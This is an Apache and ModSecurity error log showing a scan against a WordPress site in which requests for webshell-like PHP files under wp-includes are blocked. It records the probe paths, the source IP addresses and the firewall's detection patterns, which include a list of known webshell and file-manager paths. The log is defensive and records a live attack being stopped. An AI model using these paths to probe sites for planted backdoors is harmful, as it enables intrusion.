[Thu Apr 23 09:52:51.710787 2026] [:error] [pid 25635:tid 25653] [client 185.192.71.31:39385] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "ael7c8Rxv6UsgRGKB3L1GwAAAQ4"]
[Thu Apr 23 09:52:52.250950 2026] [:error] [pid 59700:tid 59716] [client 91.230.225.19:50411] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "ael7dJXyGZJFeAIDWtmNZQAAAU4"]
[Thu Apr 23 09:52:52.889248 2026] [:error] [pid 65000:tid 65052] [client 91.230.225.200:48141] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "ael7dL6vRb9j6psK2Zb2SgAAAhM"]
[Thu Apr 23 09:52:53.470697 2026] [proxy_fcgi:error] [pid 65000:tid 65051] [client 185.192.71.31:50833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:53.765015 2026] [:error] [pid 65000:tid 65041] [client 185.192.71.31:50833] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "ael7db6vRb9j6psK2Zb2WAAAAgg"]
[Thu Apr 23 09:52:57.742116 2026] [:error] [pid 25635:tid 25639] [client 185.192.71.30:36357] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "ael7ecRxv6UsgRGKB3L1LQAAAQA"]
[Thu Apr 23 09:52:58.295329 2026] [proxy_fcgi:error] [pid 42973:tid 43064] [client 91.230.225.18:62145] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:58.865104 2026] [:error] [pid 42973:tid 43047] [client 91.230.225.18:62145] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ael7em6I0QqmmmLTHE3sQAAAAIQ"]
[Thu Apr 23 09:52:59.640827 2026] [:error] [pid 42971:tid 42992] [client 185.192.71.29:63563] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ael7ezEP2_5RswrH8bHUoAAAAAY"]
[Thu Apr 23 09:53:00.219404 2026] [:error] [pid 42971:tid 42998] [client 185.92.25.113:42031] [client 185.92.25.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "ael7fDEP2_5RswrH8bHUrAAAAAw"]
[Thu Apr 23 09:53:00.783866 2026] [:error] [pid 42971:tid 43007] [client 91.230.225.205:56319] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "ael7fDEP2_5RswrH8bHUugAAABU"]
[Thu Apr 23 09:53:01.642186 2026] [:error] [pid 64998:tid 65019] [client 91.230.225.204:40251] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "ael7fYV5EysYcTLjmwhw-wAAAdE"]
[Thu Apr 23 09:53:02.782761 2026] [:error] [pid 59700:tid 59716] [client 91.230.225.23:40081] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "ael7fpXyGZJFeAIDWtmOLAAAAU4"]
[Thu Apr 23 09:53:03.336305 2026] [proxy_fcgi:error] [pid 65000:tid 65044] [client 91.230.225.209:23939] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:04.188459 2026] [proxy_fcgi:error] [pid 65000:tid 65053] [client 91.230.225.209:23939] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:04.463944 2026] [:error] [pid 65000:tid 65054] [client 91.230.225.209:23939] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "ael7gL6vRb9j6psK2Zb26AAAAhU"]
[Thu Apr 23 09:53:05.292315 2026] [proxy_fcgi:error] [pid 42972:tid 43024] [client 91.230.225.199:21965] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:05.567299 2026] [proxy_fcgi:error] [pid 42972:tid 43019] [client 91.230.225.199:21965] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:06.707649 2026] [proxy_fcgi:error] [pid 42972:tid 43038] [client 91.230.225.199:21965] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:06.994712 2026] [:error] [pid 42972:tid 43035] [client 91.230.225.199:21965] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "ael7gsOAb-3sOknsk4c96wAAAFM"]
[Thu Apr 23 09:53:07.540287 2026] [proxy_fcgi:error] [pid 42972:tid 43028] [client 91.230.225.21:49629] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:08.422359 2026] [:error] [pid 42972:tid 43020] [client 91.230.225.21:49629] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "ael7hMOAb-3sOknsk4c-KAAAAEQ"]
[Thu Apr 23 09:53:08.967250 2026] [:error] [pid 42972:tid 43018] [client 91.230.225.18:41307] [client 91.230.225.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "ael7hMOAb-3sOknsk4c-MgAAAEI"]
[Thu Apr 23 09:53:10.720871 2026] [:error] [pid 42973:tid 43047] [client 91.230.225.20:34679] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ael7hm6I0QqmmmLTHE3sjgAAAIQ"]
[Thu Apr 23 09:53:11.877307 2026] [proxy_fcgi:error] [pid 42972:tid 43024] [client 91.230.225.19:42769] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:12.184320 2026] [proxy_fcgi:error] [pid 42972:tid 43027] [client 91.230.225.19:42769] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:12.479286 2026] [proxy_fcgi:error] [pid 42972:tid 43036] [client 91.230.225.19:42769] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:12.807790 2026] [proxy_fcgi:error] [pid 42972:tid 43029] [client 91.230.225.19:42769] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:14.289058 2026] [:error] [pid 42972:tid 43038] [client 91.230.225.19:42769] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "ael7isOAb-3sOknsk4c-dwAAAFY"]
[Thu Apr 23 09:53:14.851156 2026] [:error] [pid 25635:tid 25659] [client 91.230.225.21:54235] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "ael7isRxv6UsgRGKB3L1fAAAARQ"]
[Thu Apr 23 09:53:15.444783 2026] [:error] [pid 64998:tid 65012] [client 91.230.225.208:33583] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "ael7i4V5EysYcTLjmwhxhwAAAco"]
[Thu Apr 23 09:53:16.363731 2026] [:error] [pid 59700:tid 59704] [client 91.230.225.12:28353] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "ael7jJXyGZJFeAIDWtmOkwAAAUI"]
[Thu Apr 23 09:53:16.905623 2026] [:error] [pid 43083:tid 43107] [client 185.192.71.39:35597] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "ael7jDC5hrvNXosL83IQIAAAANY"]
[Thu Apr 23 09:53:17.459125 2026] [:error] [pid 25635:tid 25643] [client 91.230.225.19:25363] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "ael7jcRxv6UsgRGKB3L1kgAAAQQ"]
[Thu Apr 23 09:53:18.318628 2026] [:error] [pid 42971:tid 43002] [client 91.230.225.199:55357] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "ael7jjEP2_5RswrH8bHVoQAAABA"]
[Thu Apr 23 09:53:18.881989 2026] [:error] [pid 65000:tid 65039] [client 91.230.225.11:53723] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "ael7jr6vRb9j6psK2Zb3oQAAAgY"]
[Thu Apr 23 09:53:19.421240 2026] [:error] [pid 59700:tid 59713] [client 185.192.71.23:61933] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ael7j5XyGZJFeAIDWtmOqAAAAUs"]
[Thu Apr 23 09:53:19.979008 2026] [:error] [pid 64998:tid 65010] [client 91.230.225.21:61637] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "ael7j4V5EysYcTLjmwhxqAAAAcg"]
[Thu Apr 23 09:53:21.088044 2026] [:error] [pid 25635:tid 25657] [client 91.230.225.16:33387] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "ael7kcRxv6UsgRGKB3L1qgAAARI"]
[Thu Apr 23 09:53:21.930968 2026] [:error] [pid 59700:tid 59718] [client 91.230.225.207:46911] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "ael7kZXyGZJFeAIDWtmOwgAAAVA"]
[Thu Apr 23 09:53:22.476290 2026] [proxy_fcgi:error] [pid 65000:tid 65050] [client 91.230.225.14:57623] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:23.036860 2026] [:error] [pid 65000:tid 65041] [client 91.230.225.14:57623] [client 91.230.225.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "ael7k76vRb9j6psK2Zb39wAAAgg"]
[Thu Apr 23 09:53:24.244876 2026] [:error] [pid 43083:tid 43102] [client 91.230.225.208:43597] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "ael7lDC5hrvNXosL83IQlQAAANE"]
[Thu Apr 23 09:53:24.823302 2026] [proxy_fcgi:error] [pid 42973:tid 43047] [client 185.192.71.28:56421] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:25.541313 2026] [proxy_fcgi:error] [pid 42973:tid 43064] [client 185.192.71.28:56421] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:25.813913 2026] [:error] [pid 42973:tid 43059] [client 185.192.71.28:56421] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "ael7lW6I0QqmmmLTHE3ssgAAAJA"]
[Thu Apr 23 09:53:26.704303 2026] [proxy_fcgi:error] [pid 64967:tid 64978] [client 91.230.225.199:51819] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:26.991611 2026] [proxy_fcgi:error] [pid 64967:tid 64970] [client 91.230.225.199:51819] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:27.313338 2026] [proxy_fcgi:error] [pid 64967:tid 64978] [client 91.230.225.199:51819] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:27.583712 2026] [:error] [pid 64967:tid 64991] [client 91.230.225.199:51819] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "ael7l4AV4GfOOdX8QzortQAAAZY"]
[Thu Apr 23 09:53:28.193567 2026] [proxy_fcgi:error] [pid 64998:tid 65013] [client 91.230.225.209:28521] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:28.513028 2026] [:error] [pid 64998:tid 65015] [client 91.230.225.209:28521] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "ael7mIV5EysYcTLjmwhyEQAAAc0"]
[Thu Apr 23 09:53:35.486321 2026] [proxy_fcgi:error] [pid 42971:tid 43005] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:35.832295 2026] [proxy_fcgi:error] [pid 42971:tid 42999] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:36.115544 2026] [proxy_fcgi:error] [pid 42971:tid 42987] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:36.761513 2026] [proxy_fcgi:error] [pid 42971:tid 42986] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:37.663289 2026] [proxy_fcgi:error] [pid 42971:tid 43006] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:37.980318 2026] [proxy_fcgi:error] [pid 42971:tid 43000] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:38.276286 2026] [proxy_fcgi:error] [pid 42971:tid 42988] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:38.563653 2026] [proxy_fcgi:error] [pid 42971:tid 43002] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:39.413027 2026] [proxy_fcgi:error] [pid 42971:tid 43001] [client 91.230.225.22:53615] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:39.693999 2026] [:error] [pid 42971:tid 42991] [client 91.230.225.22:53615] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "ael7ozEP2_5RswrH8bHWhgAAAAU"]
[Thu Apr 23 09:53:40.289823 2026] [:error] [pid 65000:tid 65052] [client 91.230.225.199:40235] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ael7pL6vRb9j6psK2Zb4qAAAAhM"]
[Thu Apr 23 09:53:40.846311 2026] [proxy_fcgi:error] [pid 25635:tid 25647] [client 91.230.225.206:33857] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:41.137320 2026] [:error] [pid 25635:tid 25650] [client 91.230.225.206:33857] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "ael7pcRxv6UsgRGKB3L2JQAAAQs"]
[Thu Apr 23 09:53:41.988287 2026] [proxy_fcgi:error] [pid 42972:tid 43022] [client 185.192.71.35:30377] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:42.273965 2026] [:error] [pid 42972:tid 43038] [client 185.192.71.35:30377] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "ael7psOAb-3sOknsk4c_LAAAAFY"]
[Thu Apr 23 09:53:42.817685 2026] [:error] [pid 43083:tid 43108] [client 185.192.71.37:46893] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ael7pjC5hrvNXosL83IRigAAANc"]
[Thu Apr 23 09:53:44.673787 2026] [:error] [pid 64998:tid 65022] [client 91.230.225.11:45405] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ael7qIV5EysYcTLjmwhzOwAAAdQ"]
[Thu Apr 23 09:53:45.294376 2026] [:error] [pid 42972:tid 43021] [client 91.230.225.203:21095] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "ael7qcOAb-3sOknsk4c_TgAAAEU"]
[Thu Apr 23 09:53:46.782304 2026] [proxy_fcgi:error] [pid 43083:tid 43090] [client 185.192.71.31:40909] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:47.358390 2026] [:error] [pid 43083:tid 43091] [client 185.192.71.31:40909] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "ael7qzC5hrvNXosL83IRzwAAAMY"]
[Thu Apr 23 09:53:48.216252 2026] [proxy_fcgi:error] [pid 42973:tid 43049] [client 185.192.71.40:25095] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:53:48.793406 2026] [:error] [pid 42973:tid 43043] [client 185.192.71.40:25095] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "ael7rG6I0QqmmmLTHE3tRAAAAIA"]
[Thu Apr 23 09:53:49.346748 2026] [:error] [pid 43083:tid 43101] [client 91.230.225.12:45839] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "ael7rTC5hrvNXosL83IR3QAAANA"]
